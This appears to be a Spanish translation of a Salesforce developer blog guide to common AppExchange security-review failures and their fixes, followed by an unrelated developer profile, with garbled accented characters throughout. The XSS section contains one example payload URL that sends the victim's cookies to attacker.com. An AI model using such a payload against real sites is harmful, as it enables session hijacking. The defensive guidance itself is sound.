La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

Oleh Mykytyn encuentra su prop贸sito como desarrollador de Salesforce 鈽侊笍

Oleh Mykytyn encuentra su prop贸sito como desarrollador de Salesforce 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Oleh Mykytyn encuentra su prop贸sito como desarrollador de Salesforce | Blog de desarrolladores de Salesforce

El desarrollador de Salesforce, Oleh Mykytyn , comenz贸 su viaje con Salesforce en 2015 cuando su hermano, Nazar, tambi茅n desarrollador de Salesforce, recomend贸 probar Salesforce a trav茅s de la plataforma de aprendizaje Trailhead . Trailhead es la puerta de entrada al ecosistema de Salesforce, donde cualquiera puede aprender de forma gratuita las habilidades m谩s demandadas y relevantes de la actualidad, obtener credenciales dignas de un curr铆culum y conectarse a oportunidades globales. Cuando Oleh se enter贸 de que pod铆a obtener una sudadera con capucha Trailblazer por completar cinco insignias Trailhead, se propuso ese objetivo.

Bueno, Oleh consigui贸 esa sudadera con capucha y ha sido desarrollador de Salesforce desde entonces. Despu茅s de ese logro inicial, Oleh pas贸 a completar insignia tras insignia, desarrollando sus habilidades en Salesforce hasta el punto en que actualmente registra 148 insignias y cuatro superbadges. Sus favoritos incluyen Apex Specialist y Advanced Apex Specialist .

Pero Oleh tambi茅n ha llevado las habilidades aprendidas al lugar de trabajo y hoy es el Jefe de Atenci贸n al Cliente en Redtag. En este cargo, habla en conferencias internacionales en todo el mundo, escribe art铆culos y aparece como invitado en podcasts. Oleh ahora es reconocido como un pilar de la comunidad Trailblazer , una red global y diversa de 18 millones de estudiantes que adquieren habilidades y se apoyan unos a otros. En el pasado, Oleh no cre铆a que pudiera lograr tales cosas, pero ahora conf铆a en que puede lograr el 茅xito profesional con trabajo duro, pasi贸n y un proceso paso a paso.

Oleh presenta en la conferencia comunitaria de Salesforce Czech Dreamin'

Qu茅 significa ser un desarrollador de Salesforce

"Ser desarrollador de Salesforce significa estar preparado para los desaf铆os", dice Oleh. 鈥淪iempre hay que pensar en grande y utilizar el pensamiento cr铆tico. Un desarrollador es una 'part铆cula' poderosa que impulsa la evoluci贸n del mundo y trae cosas incre铆bles a nuestras vidas para hacerlas m谩s simples y agradables. Nuestro valor es desarrollar experiencias de Salesforce y hacer felices a todos nuestros clientes鈥.

Ser desarrollador de Salesforce significa estar preparado para los desaf铆os.

Varias personas apoyaron a Oleh en el camino, como su novia, sus padres, su hermano y sus compa帽eros de equipo, y lo ayudaron a llegar a donde se encuentra ahora en su carrera. Recuerda: 鈥淩ecuerdo haber reprobado un examen o haber tenido desaf铆os en un proyecto, y siempre me dec铆an: 'La pr贸xima vez lo conseguir谩s'. 隆Y eso siempre pas贸!鈥

A Oleh siempre le entusiasma ver c贸mo Salesforce nunca deja de crecer e innovar, brindando nuevas y mejores experiencias a los desarrolladores y usuarios finales. "Me inspira ver c贸mo Salesforce valora y escucha a la comunidad", afirma. Una vez invitaron a Oleh a almorzar con el director ejecutivo de Salesforce, Marc Benioff, y qued贸 sorprendido por lo atento que estaba Marc a cada palabra, as铆 como por c贸mo consideraba cada comentario de Oleh.

Oleh y el director ejecutivo de Salesforce, Marc Benioff

Algunas sorpresas en el viaje de Salesforce

Al comienzo de su trayectoria en Salesforce, Oleh descubri贸 a Jim Rohn, un autor y orador motivacional estadounidense, que ayud贸 a Oleh a cambiar su forma de pensar. Recordar谩 una cita particular de Rohn por el resto de su vida: 鈥淣o desear铆a que fuera m谩s f谩cil; Ojal谩 estuvieras mejor鈥.

Con este esp铆ritu, Oleh siempre ha aprendido haciendo e investigando constantemente lo que se necesita. Aprender a hacer las preguntas correctas viene con la experiencia y la pr谩ctica. Una de las formas en que Oleh busca mejorar su marca personal es obteniendo certificaciones de Salesforce .

Oleh tras aprobar su primer examen de certificaci贸n de Salesforce

Actualmente, Oleh ha obtenido 11 certificaciones y aspira a aprobar una o dos certificaciones m谩s cada a帽o. Esto le permite seguir desafi谩ndose a s铆 mismo mientras adquiere nuevas y valiosas habilidades. Curiosamente, Oleh suspendi贸 su primera certificaci贸n, 鈥淎pp Builder鈥, dos veces y consider贸 brevemente que el desarrollo de TI no era para 茅l. Pero luego se dio cuenta de que hab铆a subestimado el examen y necesitaba prepararse m谩s de antemano.

Entonces, primero, Oleh analiz贸 la secci贸n en la que hab铆a suspendido con los porcentajes de cobertura m谩s bajos. Luego, utiliz贸 preguntas simuladas de tal manera que pudiera ejecutar completamente las tareas en su patio de juegos, lo que le dio una mejor comprensi贸n de la funcionalidad y le ayud贸 a recordarla mejor que simplemente leer sobre ella.

脡l dice: 鈥淢e inscrib铆 nuevamente para el examen, pero no se lo dije a nadie (para que nadie se enterara si reprobaba una tercera vez). Pero esta vez pas茅 y fue uno de los mejores d铆as de mi vida. Despu茅s de eso, obtuve una certificaci贸n tras otra y ahora s茅 definitivamente que el fracaso es la clave del 茅xito鈥.

Lecciones aprendidas de la comunidad Trailblazer

Oleh se involucr贸 profundamente en la comunidad Trailblazer de desarrolladores de Salesforce y aprendi贸 muchas lecciones a lo largo del camino. Dice: 鈥淎prend铆 que la marca personal a veces es crucial y, en combinaci贸n con las habilidades t茅cnicas, esto es… 隆BOOM! Realmente creo que los desarrolladores m谩s fuertes son las personas que tienen habilidades interpersonales muy bien desarrolladas鈥. Oleh explica que debe gran parte de su 茅xito a la buena comunicaci贸n, la empat铆a, la generaci贸n de confianza y el deseo de ser una buena persona en el mundo. Adem谩s, estas habilidades le han ayudado a formar conexiones profundas con las personas que le rodean.

Aprend铆 que la marca personal a veces es crucial y, en combinaci贸n con las habilidades t茅cnicas, esto es: 隆BOOM!

Las habilidades interpersonales y una actitud positiva tambi茅n son una alta prioridad para el equipo de Oleh. Creen que aquellos que est谩n dispuestos, son apasionados y buenos para establecer conexiones siempre encuentran la manera de adquirir las habilidades tecnol贸gicas necesarias. 鈥淢enos miedo y m谩s aportaciones鈥, afirma. "Todo es posible en esta vida, y la vida es demasiado corta para rechazar tus sue帽os por miedo".

Consejos para otros desarrolladores: los foros de desarrolladores son tus mejores amigos

"La comunidad Trailblazer es su familia", explica Oleh. "Aprende todo lo que puedas y devu茅lvelo cuando est茅s listo". En 2016, un buen amigo de los Pa铆ses Bajos le habl贸 de la existencia de los grupos comunitarios Trailblazer e inmediatamente supo que le gustar铆a llevarlos a los desarrolladores de Lviv .

La comunidad Trailblazer es su familia.

Oleh recuerda: "Cuando comenz贸 el grupo de Lviv, tom茅 la iniciativa de liderar el grupo y luego comenc茅 a conocer todos los eventos para desarrolladores de Salesforce". Esto llev贸 a Oleh a asistir a eventos dirigidos por Salesforce como Dreamforce y eventos Dreamin' dirigidos por la comunidad , e incluso fund贸 Salesforce Saturday en Lviv, una reuni贸n en persona de la comunidad Trailblazer que gana insignias juntos. Ahora, Oleh une y apoya a la comunidad de desarrolladores ucraniana mediante la creaci贸n de canales de Slack y transmisi贸n de YouTube a otras ciudades antes de los eventos virtuales.

El grupo de desarrolladores de Salesforce en Lviv

" Como equipo en Redtag, siempre nos apasiona desarrollar talentos e invitar a nuevos pioneros", dice Oleh. 鈥淓sto ayuda a hacer crecer nuestra familia Trailblazer Community. 隆La mejor manera de mantenerse conectado con la comunidad de desarrolladores de Salesforce es uni茅ndose a un foro, redes sociales y, por supuesto, eventos!

La comunidad Trailblazer tambi茅n ha hecho una gran contribuci贸n a la carrera de Oleh. Ha encontrado muchas respuestas en varios foros, toneladas de contenido valioso en publicaciones de blogs y muchas conversaciones con miembros de la comunidad que comparten recomendaciones o ideas. 脡l dice: 鈥淓stoy agradecido de tenerlos a todos. Gracias a ti, soy quien soy鈥.

La comunidad Trailblazer apoya al pa铆s de origen de Oleh, Ucrania, en Dreamforce 2022.

Oleh anima a todos a ver si hay grupos comunitarios Trailblazer locales o un s谩bado de Salesforce en su 谩rea y unirse a ellos de inmediato (busque un grupo cerca de usted ). Si no existe ninguno, entonces sugiere tomar la iniciativa de crear uno. "Siempre recomiendo los eventos en persona porque son m谩s atractivos e inspiradores".

